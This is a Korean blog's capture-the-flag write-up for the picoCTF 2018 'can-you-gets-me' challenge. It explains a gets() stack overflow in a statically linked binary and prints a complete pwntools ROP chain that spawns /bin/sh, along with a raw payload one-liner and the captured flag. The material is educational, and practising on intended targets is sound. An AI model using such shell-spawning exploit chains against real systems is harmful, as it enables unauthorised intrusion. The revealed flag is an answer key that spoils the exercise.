제리의 블로그

picoCTF 2018 can-you-gets-me Binary Exploitation 본문

CTF/pwnable

picoCTF 2018 can-you-gets-me Binary Exploitation

j3rrry 2018. 10. 3. 03:52


picoCTF 2018 can-you-gets-me Binary Exploitation


요약

바이너리가 static compile 되어있어서 ROP gadget 모으기 수월하다.

입력받는 함수는 gets로 입력 길이 제한이 없다.
 

Description

Can you exploit the following program to get a flag?
You may need to think return-oriented if you want to program your way to the flag.
You can find the program in /problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40 on the shell server.
Source.

플래그를 얻기 위해 Return-Oriented 를 해야한다고 한다




Writeup

일단 소스코드 분석을 해보자

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys types.h>

#define BUFSIZE 16

void vuln() {
  char buf[16];
  printf("GIVE ME YOUR NAME!\n");
  return gets(buf);

}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);


  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();

}

gets 함수로 입력 버퍼를 받는다.

gets는 newline(0x0a)이나 EOF(0xff)까지 입력받기 때문에 NULL(0x00)이 입력 가능하고 길이 제한이 없다는 특징이 있다.


문제 설명에서 ROP를 이용하라고 힌트를 주고 바이너리 하나만 준 것으로 미루어 봤을 때

ROP gadget 은 바이너리에서 모을 수 있을 것 같다.




picoCTF2018$ python
Python 2.7.15 (default, Jul 28 2018, 11:29:29)
[GCC 8.1.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> context.log_level = 'error'
>>> ELF('./gets').statically_linked
True
>>>

아니나 다를까 바이너리가 정적으로 컴파일되어 있었다.


정적으로 컴파일되어 있다는 의미는 라이브러리의 거대한 코드들이 포함되어 있다는 뜻이었고

그 코드들에는 syscall을 포함한 다양한 명령어들이 들어가 있기 때문에

쉘코드를 위한 gadget을 모을 수 있는 것이다.


gadget은 ROPgadget을 이용했다.




RET까지 거리 길이는 16+8+4 bytes이다. (지역변수 buf 16, 더미 8, sfp 4)




Exploit Code

from pwn import *

def ropchain():
        p = ''

        p += p32(0x0806f02a) # pop edx ; ret
        p += p32(0x080ea060) # @ .data
        p += p32(0x080b81c6) # pop eax ; ret
        p += '/bin'
        p += p32(0x080549db) # mov dword ptr [edx], eax ; ret
        p += p32(0x0806f02a) # pop edx ; ret
        p += p32(0x080ea064) # @ .data + 4
        p += p32(0x080b81c6) # pop eax ; ret
        p += '//sh'
        p += p32(0x080549db) # mov dword ptr [edx], eax ; ret
        p += p32(0x0806f02a) # pop edx ; ret
        p += p32(0x080ea068) # @ .data + 8
        p += p32(0x08049303) # xor eax, eax ; ret
        p += p32(0x080549db) # mov dword ptr [edx], eax ; ret
        p += p32(0x080481c9) # pop ebx ; ret
        p += p32(0x080ea060) # @ .data
        p += p32(0x080de955) # pop ecx ; ret
        p += p32(0x080ea068) # @ .data + 8
        p += p32(0x0806f02a) # pop edx ; ret
        p += p32(0x080ea068) # @ .data + 8
        p += p32(0x08049303) # xor eax, eax ; ret
        p += p32(0x0807a86f) # inc eax ; ret
        p += p32(0x0807a86f) # inc eax ; ret
        p += p32(0x0807a86f) # inc eax ; ret
        p += p32(0x0807a86f) # inc eax ; ret
        p += p32(0x0807a86f) # inc eax ; ret
        p += p32(0x0807a86f) # inc eax ; ret
        p += p32(0x0807a86f) # inc eax ; ret
        p += p32(0x0807a86f) # inc eax ; ret
        p += p32(0x0807a86f) # inc eax ; ret
        p += p32(0x0807a86f) # inc eax ; ret
        p += p32(0x0807a86f) # inc eax ; ret
        p += p32(0x0806cc25) # int 0x80

        return p

p = process('./gets')
p.recvline()
payload = ''
payload += 'A' * 16
payload += 'B' * 8
payload += 'C' * 4
payload += ropchain()
print(repr(payload))
p.sendline(payload)
p.interactive()

j3rrry@pico-2018-shell-2:/problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40$ (python -c "print 'AAAAAAAAAAAAAAAABBBBBBBBCCCC*\xf0\x06\x08\`\xa0\x0e\x08\xc6\x81\x0b\x08/bin\xdbI\x05\x08*\xf0\x06\x08d\xa0\x0e\x08\xc6\x81\x0b\x08//sh\xdbI\x05\x08*\xf0\x06\x08h\xa0\x0e\x08\x03\x93\x04\x08\xdbI\x05\x08\xc9\x81\x04\x08\`\xa0\x0e\x08U\xe9\r\x08h\xa0\x0e\x08*\xf0\x06\x08h\xa0\x0e\x08\x03\x93\x04\x08o\xa8\x07\x08o\xa8\x07\x08o\xa8\x07\x08o\xa8\x07\x08o\xa8\x07\x08o\xa8\x07\x08o\xa8\x07\x08o\xa8\x07\x08o\xa8\x07\x08o\xa8\x07\x08o\xa8\x07\x08%\xcc\x06\x08'";cat) | ./gets
GIVE ME YOUR NAME!
ls
flag.txt  gets  gets.c
cat flag.txt
picoCTF{rOp_yOuR_wAY_tO_AnTHinG_f5072d23}



Comments